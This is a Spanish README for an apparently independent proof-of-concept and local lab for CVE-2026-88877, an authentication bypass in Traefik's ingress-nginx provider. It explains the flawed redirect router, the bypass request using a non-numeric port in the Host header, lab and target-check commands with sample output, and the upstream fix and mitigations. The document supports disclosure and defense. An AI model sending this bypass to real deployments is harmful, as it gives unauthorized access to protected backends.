
Prueba de concepto y laboratorio reproducible para CVE-2026-88877, un bypass de autenticación de Traefik ingress-nginx mediante from-to-www-redirect, con un modo de comprobación de solo lectura.
v3.7.0–v3.7.11 — Omisión de autenticación mediante from-to-www-redirectAutor: pwnVader · Licencia: MIT (raíz del repositorio)
| Componente | Traefik (proveedor de ingress-nginx de Kubernetes, providers.kubernetesingressnginx) |
| Tipo | CWE-639 — Omisión de autorización mediante clave controlada por el usuario |
| Afectados | Traefik >= v3.7.0, <= v3.7.11 (v2 y < v3.7.0 no están afectados) |
| Corregido | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Crítico, según el aviso del proveedor) · CVSS 3.1 9.8 (según lo publicado por algunas bases de datos de vulnerabilidades) |
| Aviso oficial | GHSA-cjr6-pf59-jq29 (aviso del repositorio de Traefik) |
| PoC | poc.sh · lab/ |
Estado de divulgación. Esta vulnerabilidad fue divulgada públicamente por el proyecto Traefik y está corregida en v3.7.12. Este documento es un análisis técnico independiente con un laboratorio reproducible — no es el descubrimiento original. La vulnerabilidad fue reportada/divulgada a través del aviso del proveedor listado arriba (véase también el aviso de VulnCheck). No utilice este material contra sistemas sin autorización explícita.
Identificadores GHSA. El aviso oficial del repositorio es GHSA-cjr6-pf59-jq29. La base de datos genérica de avisos de GitHub también contiene un registro separado, GHSA-9rch-gvf7-hrfc, para el mismo problema; al citar la vulnerabilidad, se prefiere el aviso del repositorio.
Cuando un Ingress lleva tanto una anotación de autenticación (p. ej.
nginx.ingress.kubernetes.io/auth-type: basic) como
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", el proveedor ingress-nginx de Traefik
crea un router "hermano" adicional que coincide solo con el host, lleva únicamente el middleware
RedirectRegex generado, y sigue apuntando al backend protegido:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex no es un manejador terminal: si su regex no coincide, la petición se pasa
al siguiente manejador y finalmente se proxifica al backend. La regex solo acepta un puerto
numérico ((:[0-9]+)?), mientras que el matcher Host() de Traefik canonicaliza la autoridad
mediante net.SplitHostPort. Por lo tanto, una petición cuyo encabezado Host tenga un puerto no
numérico o vacío:
Host("www.example.com")), perowww.example.com:x), por lo que no se redirige, yUna única petición no autenticada — Host: www.example.com:x — alcanza un backend que requiere
autenticación. El estado HTTP devuelto depende del propio backend: en este laboratorio el
backend traefik/whoami responde 200, pero el hecho relevante para la seguridad es que la petición
alcanzó el backend sin autenticación, no el código de estado concreto.
v3.7.0–v3.7.11 ejecutándose con el proveedor ingress-nginx habilitado
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", para un host sin una contraparte www.
(de lo contrario, el router hermano no se genera).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check también puede apuntarse a cualquier despliegue candidato:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
El backend utilizado en el laboratorio (traefik/whoami) hace eco de la petición, lo que demuestra que la petición alcanzó el
servicio protegido sin encabezado Authorization y sin middleware de autenticación aplicado. El código de estado
mostrado (200) es lo que devuelve este backend en particular; con un backend diferente la omisión podría
manifestarse como otra respuesta distinta de 401/403/redirección.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
El router de redirección ahora apunta a un servicio interno unavailable, de modo que incluso si una petición se
escapa de la regex, nunca puede alcanzar un backend protegido.
Actualice a Traefik v3.7.12 o posterior. Las instalaciones que no puedan actualizarse deberían eliminar temporalmente
nginx.ingress.kubernetes.io/from-to-www-redirect de cualquier Ingress que combine autenticación o
listas de permitidos, e implementar la redirección con una configuración que preserve los middlewares
de control de acceso (p. ej. CRDs explícitos RedirectScheme/RedirectRegex de Traefik con los middlewares
adjuntos). Defensa en profundidad: aplique también autenticación en el backend/upstream.
Solo para pruebas de seguridad autorizadas. El laboratorio es local y autocontenido; el modo check es
de solo lectura (tres peticiones GET) y solo debe usarse contra sistemas de su propiedad o para los que
tenga autorización explícita de probar.